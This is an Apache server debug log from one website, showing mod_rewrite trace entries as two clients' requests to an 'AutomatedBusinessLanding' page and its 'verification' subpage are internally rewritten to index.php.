[Mon Nov 10 18:45:40.453161 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453171 2025] [rewrite:trace2] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453182 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453196 2025] [rewrite:trace2] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453208 2025] [rewrite:trace2] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453217 2025] [rewrite:trace1] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f809403eb70/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453356 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453384 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453395 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453408 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453420 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453430 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453439 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453452 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453462 2025] [rewrite:trace1] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094041e98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453766 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453790 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453790 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453790 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453828 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453828 2025] [rewrite:trace4] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453850 2025] [rewrite:trace2] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453861 2025] [rewrite:trace3] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453861 2025] [rewrite:trace2] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453861 2025] [rewrite:trace2] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:40.453886 2025] [rewrite:trace1] [pid 12497:tid 12537] mod_rewrite.c(505): [client 185.129.61.7:64440] 185.129.61.7 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094044ba0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:43.789791 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789834 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789851 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789885 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789885 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789909 2025] [rewrite:trace2] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789911 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789940 2025] [rewrite:trace2] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789940 2025] [rewrite:trace2] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.789952 2025] [rewrite:trace1] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094006950/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790050 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790066 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790076 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790089 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790100 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790110 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790120 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790133 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790143 2025] [rewrite:trace1] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940da590/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790379 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790404 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790418 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790433 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790445 2025] [rewrite:trace4] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790455 2025] [rewrite:trace2] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790465 2025] [rewrite:trace3] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790475 2025] [rewrite:trace2] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790484 2025] [rewrite:trace2] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:43.790493 2025] [rewrite:trace1] [pid 12584:tid 12599] mod_rewrite.c(505): [client 2.58.56.93:56622] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80940f08a0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:45:46.002480 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002575 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002588 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002604 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002623 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002636 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002647 2025] [rewrite:trace2] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002658 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002671 2025] [rewrite:trace2] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002692 2025] [rewrite:trace2] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002703 2025] [rewrite:trace1] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4047650/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002806 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002822 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
